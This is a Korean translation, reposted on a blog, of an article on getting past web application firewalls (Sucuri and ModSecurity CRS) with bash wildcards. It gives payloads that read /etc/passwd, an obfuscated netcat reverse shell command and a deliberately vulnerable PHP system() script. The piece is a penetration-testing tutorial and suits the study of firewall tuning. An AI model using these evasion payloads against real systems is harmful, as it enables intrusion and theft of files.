반응형

원본 : https://medium.com/secjuice/waf-evasion-techniques-718026d693d8


======================================================


방화벽 우회 기술들

나는 당신의 passwd 파일에서 "/???/??t /???/??ss??"와 같은 것을 읽을 수 있었다. Sucuri 방화벽, ModSecurity, Paranoia Level 등등에서 재미를 느껴보자.


웹 어플리케이션에서 원격 명령어 실행 취약점이 발견되는 것을 드문 일이 아니고 "2017년도 OWASP 상위 10 어플리케이션 보안 위험"에서 "Injection"이 첫번째로 랭크되어있는 것은 확고부동했다.


SQL, NoSQL, OS, 그리고 LDAP 인젝션과 같은 인젝션 결함은 명령어 혹은 쿼리의 한 부분으로 예상치 못한 데이터가 인터프리터로 전송되어 발생한다. 공격자의 까다로운 데이터는 인터프리터를 속여 예상치못한 명령어를 실행하거나 적절한 인증 없이 데이터에 접근할 수 있다.


모든 현대의 웹 어플리케이션 방화벽은 원격코드실행(RCE) 시도를 가로챌 수 있지만(심지어 차단하기 까지할 수 있다), 그것이 리눅스 시스템에서 발생한다면 우리는 방화벽의 룰셋을 피할 수 있는 믿을 수 없을 정도로 수많은 양의 방법을 가지고 있다. 침투테스터의 최고의 친구는 개가 아니다.. 그것의 이름은 "와일드카드"이다. WAPT 물건을 사용하기 전에, 나는 당신에게 당신이 알지 못했던 bash와 와일드카드에 대해 보여주고 싶다.


당신이 와일드카드에 대해 알지 못했던 것들

Bash 표준 와일드카드(globbing 패턴으로도 알려진)는 다수의 파일들에 작업을 하기 위해 다양한 커맨드라인 유틸리티들로 사용된다. 표준 와일드카드에 대한 더 많은 정보를 위해, man 7 glob을 쳐서 나오는 메뉴얼 페이지를 보자. 단순히 물음표 "?", 슬래시 "/", 숫자들, 그리고 문자들로 시스템 명령어를 실행할 수 있는 많은 bash 문법을 만들 수 있다는 것을 아무도 모른다. 당신은 심지어 같은 양의 문자들을 이용하여 파일들을 열거하고 그들의 내용을 얻을 수도 있다. 어떤가? 나는 당신이게 약간의 예제를 주겠다 :


ls 명령어를 실행하는 것 대신에, 당신은 다음의 문법을 사용할 수 있다: /???/?s


/???/?s 문법을 이용하여 "ls"의 help 출력을 실행


이러한 종류의 문법을 이용하여, 당신은 기본적으로 당신이 원하는 모든것을 실행할 수 있다. 당신의 취약한 타켓이 웹 방화벽 뒤에 있고, 그 방화벽은 GET 파라미터의 값 혹은 POST 요청의 body 안에 /etc/passwd 혹은 /bin/ls가 포함한 모든 요청을 막는 규칙이 있는 상황을 말해보자. 만약 당신이 /?cmd=cat+/etc/passwd 같은 요청을 만드려고 한다면 그것은 타켓의 방화벽에 의해 막힐 것이고 당신의 IP는 영원히 금지될 것이며 "yet another f***in' redteamer" 라고 태그될 것이다. 하지만 당신은 당신의 주머니에 와일드카드라는 비장의 무기를 가지고 있다. 만약 당신이 행운아라면(당신이 추후에 보겠지만 그렇게 행운아일 필요도 없다), 타켓 방화벽은 질의어 안에 ?과 /같은 문자를 막는 "Paranoia Level"은 아닐 것이다. 그러므로 당신은 당신의 (URL 인코딩된)요청을 다음과 같이 쉽게 만들 수 있다: /?cmd=%2f???%2f??t%20%2f???%2fp??s??


와일드카드를 이용하여 /bin/cat /etc/passwd를 실행


위의 스크린샷에서 당신이 볼 수 있는 것처럼, 3개의 에러들이 있다 "/bin/cat *: Is a directory". 이것은 /???/??t을 둥글게 번역하는 과정에서 /bin/cat 뿐만 아니라 /dev/net 혹은 /etc/apt 등등으로 번역될 수 있기 때문에 발생한다.


물음표 와일드카드는 어떠한 문자든 단 하나의 문자를 대신한다. 그러므로 경우에 따라서 당신이 파일명을 알지만 한 문자를 모를 때, 당신은 이 와일드카드를 사용할 수 있다. 예를 들어 ls *.???는 현재 디렉토리에서 확장자가 3개의 문자열로 이루어진 모든 파일들을 열거해줄 것이다. 그러므로 .gif, .jpg, .txt 같은 확장자를 가진 파일들이 열거될 것이다.


이 와일드카드를 사용하여 당신은 netcat을 사용한 reverse shell을 실행할 수도 있다. 당신이 127.0.0.1의 1337 포트로 reverse shell을 실행할 필요가 있다고 한다면 (보통 nc -e /bin/bash 127.0.0.1 1337), 당신은 다음과 같은 문법으로 이를 수행할 수 있다 : /???/n? -e /???/b??h 2130706433 1337


IP 주소인 127.0.0.1을 "long" 형식(2130706433)으로 바꿔서, 당신은 HTTP 요청에서 "." 문자열 사용을 피할 수 있다.


나의 칼리에서 나는 nc 대신에 nc.traditional을 사용할 필요가 있는데 그것은 연결 이후 /bin/bash를 실행하기 위한 -e 파라미터를 가지고 있지 않다.  페이로드는 다음과 같다 :


/???/?c.??????????? -e /???/b??h 2130706433 1337


와일드카드를 이용하여 reverse shell을 실행



다음은 우리가 본 두 명령어의 간단한 요약이다 :


표준 : /bin/nc 127.0.0.1 1337

회피 : /???/n? 2130706433 1337

사용된 문자 : / ? n [0-9]


표준 : /bin/cat /etc/passwd

회피 : /???/??t /???/??ss??

사용된 문자 : / ? t s


왜 * 대신에 ? 를 사용하는 것일까? 왜냐하면 별표(*)는 명령어 구문에( /* 이봐 난 주석이야 */ 와 같이) 널리 사용되기 때문에 많은 방화벽이 UNION+SELECT+1,2,3/* 같은 SQL Injection을 피하기 위해 차단한다... 


파일과 디렉토리들을 열거하기 위해 echo를 사용하는가? 그렇다, 당신은 사용할 수 있다. echo 명령어는 와일드카드를 이용하여 파일 시스템에 있는 파일들과 디렉토리들을 열거할 수 있다. 예를 들면 : echo /*/*ss* :


echo 명령어를 사용하여 파일들과 디렉토리들을 열거


이것은 타켓 시스템 상의 파일들과 디렉토리들을 얻기 위해 원격 코드 실행(RCE)에도 사용할 수 있다. 예를 들면 :


웹 방화벽을 통과해 파일들과 디렉토리들을 열거


그러나 어떻게 와일드카드(물음표에 특정하여)를 사용하는 것이 웹 방화벽에 설정된 규칙을 피할 수 있는 것일까? Sucuri 방화벽과 함께 시작해보자!


Sucuri 웹 방화벽 회피

Sucuri 웹 방화벽에서의 회피 기술 테스트


웹 방화벽 룰 셋을 테스트하는 가장 좋은 방법은 무엇일까? 세상에서 가장 취약한 PHP 스크립트를 생성한 다음 모든 가능한 기술을 시도해보는 것이다! 우리가 가진 위 스크린샷을 보자: 왼쪽 위 창에는 나의 추한 웹 어플리케이션이 있다. (그것은 단지 명령어를 실행하는 PHP 스크립트이다)


<?php

      echo 'ok: ';

      print_r($_GET['c']);

      system($_GET['c']);


왼쪽 아래 창에서 당신은 Sucuri 웹 방화벽에 의해 나의 웹 사이트(test1.unicresit.it)가 원격 명령어 실행 테스트로부터 보호된 것을 볼 수 있다. 당신이 볼 수 있는 것처럼 Sucuri는 "RFI/LFI 시도가 탐지되어 차단합니다" 라는 이유와 함께 나의 요청을 차단하였다. 이 이뉴는 완벽히 맞는 것은 아니지만 웹 방화벽이 나의 공격을 차단했다는 것은 좋은 소식이다. (나는 심지어 왜 방화벽이 요청을 차단한 이유를 나에게 말해주는 지를 모르겠지만, 이유가 있을 것이다... 분명히)


오른쪽 창은 같은 요청이지만 와일드카드로써 "물음표"를 사용하였기 때문에 가장 흥미롭다. 그 결과는 무섭다... 그 요청은 Sucuri 웹 방화벽으로부터 승인되었고 나의 어플리케이션은 내가 c 파라미터에 넣은 명령어를 실행하였다. 지금 나는 /etc/passwd 파일을 읽을 수 있고 심지어... 어플리케이션의 PHP 소스 그 자체를 읽을 수 있으며, netcat을 이용하여(또는 나는 이것을 호출하는 것을 좋아한다: /???/?c) reverse shell을 실행 할 수도 있으며, 방화벽을 우회하여 직접 타켓에 접근할 수 있도록 웹 서버의 진짜 IP 주소를 드러내기 위해 curl 또는 wget같은 프로그램을 실행할 수도 있다.


만약 이것이 발생한다해도 나는 나의 Sucuri 웹 방화벽 설정에서 무엇인가를 놓쳤기 때문에 알지 못할 것이다. 하지만 그 무엇인가가 보이지 않는다. 만약 주의해야할 행동이 있고, 거짓 긍정을 피하기 위해 디폴트로 "Low Paranoia Level"으로 설정하기 위해 어떻게 해야하는지 Sucuri에 문의한 상태이지만 나는 여전히 답변을 기다리고 있다.


제발, 진짜 시나리오를 대표한 것이 아니라, 멍청한 PHP 스크립트를 이용하여 이 테스트를 진행했다는 것을 명심해라. 내 짧은 생각으로 당신은 얼마나 많은 요청을 차단하는지를 가지고 웹 방화벽을 판단해서는 않될 것이며 Sucuri가 의도적으로 취약한 웹 사이트를 완벽히 방어할 수 없다는 이유로 안전하지 않다는 생각을 해서는 안된다. 필요한 설명이 끝났다!


ModSecurity OWASP CRS 3.0

나는 정말로 ModSecurity를 사랑하고, 웹 어플리케이션 방화벽을 배치하기 위해 지금까지 사용해왔던 솔루션 중 Nginx를 사용한 새로운 libmodsecurity(v3)와 그 Nginx 커넥터가 최고의 솔루션이라고 생각한다. 나는 또한 OWASP Core Rule Set의 열혈한 팬이다! 나는 어디에서든 그것을 사용하지만, 만약 당신이 이 룰 셋을 잘 알지 못한다면, 당신은 사랑이라 불리는 작은 것에 주의를 기울여야 한다... 미안 Paranoia Level!


바보들을 위한 Paranoia Level

당신이 여기에서 찾을 수 있는 "문법"은 "REQUEST PROTOCOL ENFORCEMENT" 룰에서 각각의 수준이 어떻게 작동하는지에 대한 좋은 개요이다. 당신이 볼 수 있듯이 PL1에서는 질의 문자열에 1~255 범위의 ASCII 문자열만을 포함할 수 있고 PL4에서는 아주 작은 범위의 ASCII 문자열을 제외한 모든 것을 차단한다.


# -=[ Targets and ASCII Ranges ]=-

#

# 920270: PL1

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 1-255

# Example: Full ASCII range without null character

#

# 920271: PL2

# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES

# ASCII: 9,10,13,32-126,128-255

# Example: Full visible ASCII range, tab, newline

#

# 920272: PL3

# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY

# ASCII: 32-36,38-126

# Example: Visible lower ASCII range without percent symbol

#

# 920273: PL4

# ARGS, ARGS_NAMES and REQUEST_BODY

# ASCII: 38,44-46,48-58,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : &

#

# 920274: PL4

# REQUEST_HEADERS without User-Agent, Referer, Cookie

# ASCII: 32,34,38,42-59,61,65-90,95,97-122

# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE


모든 수준에서 약간의 테스트를 해보자!


Paranoia Level 0 (PL0)

paranoia level 0은 많은 규칙들이 사용되지 않다는 것을 의미하기 때문에, 우리의 페이로드가 아무런 문제 없이 원격 코드 실행을 한다는 것은 지극히 정상이다. 절대 당황하지 마라 :)


SecAction "id:999,\

phase:1,\

nolog,\

pass,\

t:none,\

setvar:tx.paranoia_level=0"


PL0인 ModSecurity는 RCE를 허용한다. (당황하지마라, 괜찮다)


ModSecurity에서 paranoia level 0는 "사실상 거짓 긍정이 없는 고품질의 나무랄 데 없는 규칙"을 의미하지만 또한 너무 과하게 관대하다는 것을 의미한다. 당신은 netnea 웹사이트에서 paranoia level별로 그룹화된 규칙 리스트를 찾을 수 있을 겻이다 : https://www.netnea.com/cms/core-rule-set-inventory/


Paranoia Level 1 그리고 2 (PL1, PL2)

나는 그들의 차이점(위의 개요에서 당신이 볼 수 있는)은 우리의 목표에 영향을 주지 않고, 모든 행동들은 아래와 같이 묘사된다는 것이 같기 때문에 level 1과 2를 묶었다.


SecAction "id:999,\

phase:1,\

nolog,\

pass,\

t:none,\

setvar:tx.paranoia_level=1"


PL1(그리고 PL2)의 ModSecurity는 "OS 파일 접근 시도"에 대한 나의 요청을 명백히 막는다 (930120). 그러나 내가 와일드카드로써 물음표를 사용한다면? 그 요청은 나의 웹 방화벽에서 수용된다:


PL1과 PL2는 나의 RCE 공격을 차단하지 않아서 /etc/passwd를 읽을 수 있다.


이것은 "물음표", "슬래시" 그리고 "공백"이 규칙 920271과 920272에서 수용되는 범위의 문자열에 있기 때문에 발생한다.  게다가, 명령어 문법 대신에 "물음표"를 사용하는 것은 보통 차단하는 명령어와 운영체제의 파일(우리의 경우 /etc/passwd)같은 "OS 파일" 필터를 피할 수 있도록 해준다.


Paranoia Level 3 (PL3)

이 paranoia의 수준은 더하다 : 그것은 n번보다 많은 "?" 같은 문자가 포함된 요청을 차단한다. 사실상, 나의 요청은 "메타 문자 변칙 탐지 알림ㅡ반복적인 비단어 문자"로 차단되었다. 이건 멋지다! 잘했어 ModSecurity, 너는 곰인형을 얻었다! 🐻 그러나 불행하게도 나의 웹 앱은 너무 못생기고 취약해서 어쩃든 다음과 같은 문법처럼 더 적은 물음표를 사용해서 passwd 파일을 읽을 수 있다 : c=/?in/cat+/et?/passw?



당신이 볼 수 있는 것처럼, 단지 3번의 "?" 물음표를 사용하는 것으로 나는 이 paranoia level을 피하여 타겟 시스템의 passwd 파일을 읽을 수 있다. 그렇다, 이것은 

당신이 항상 그리고 절대적으로 paranoia level을 4로 설정해야한다는 것을 의미하는 것은 아니다. 나는 현실적인 시나리오를 대표하지 않는 정말 멍청한 PHP 스크립트에서 테스트하고 있다는 것을 명심해라... 그러길 빈다...


이제 삶, 우주 그리고 모든 것에 대한 대답은 42라는 것은 모두가 안다. 그러나 이것에 대해서는 어떤가: "당신은 paranoia level 4에서 OWASP Rule Set을 피할 수 있는가?"


Paranoia Level 4 (PL4)

근본적으로 안된다, 난 할 수 없다. a-z A-Z 0-9 의 범위를 벗어나는 모든 문자열은 차단된다! 방법이 없다... 그리고 당신은 파일을 읽기 위해 명령어를 실행할 때, 90%의 확률로 "공백" 문자 혹은 "슬래시" 문자가 필요할 것이란 걸 믿어라. 😉


더 많은 걸 원하는가?

이 글의 두번째 파트 : https://medium.com/@themiddleblue/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0


마지막 생각들

고정적인 HTML 페이지로 돌아가보자... 그것은 당신의 웹 어플리케이션의 보안을 향상하는 가장 빠른 방법이다! 웹 방화벽의 우회를 방지하기 위한 가장 좋은 설정, 혹은 사용하기 가장 좋은 paranoia level이 무엇인지에 대해 말하는 것은 어렵다. 내 짧은 생각으로, 우리는 웹 어플리케이션에 고르게 분산된 룰 셋을 믿어서는 안된다. 나는 정말 우리의 웹 방화벽 룰을 어플리케이션의 기능성에 맞도록 설정해야한다고 생각한다.


어쩃든, 당신이 당신의 ModSecurity나 그와 비슷한 것에 새로운 SecRule을 작성할 때, 당신의 필터나 정규식을 우회할 방법은 많다는 것을 명심해라. 그러므로 "어떻게 이 룰을 우회할 수 있을까?를 생각하며 작성해라.


나의 북마크로부터

ModSecurity 규칙들에 대해 더 배우자면 : https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual


netnea로 부터 작성된 Apache ModSecurity 튜토리얼 : https://www.netnea.com/cms/apache-tutorials/


SpiderLabs 블로그 : https://www.trustwave.com/Resources/SpiderLabs-Blog/


ModSecurity v3 Github : https://github.com/SpiderLabs/ModSecurity/tree/v3/master


연락

https://twitter.com/Menin_TheMiddle

https://github.com/theMiddleBlue


반응형

'Hacking > Web' 카테고리의 다른 글

S3 bucket 대응방안  (0) 2018.06.04
Web Application Firewall (WAF) Evasion Techniques #2  (0) 2018.06.03
[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Blind SQL Injection tool 분석  (4) 2018.05.06
블로그 이미지

rootable

,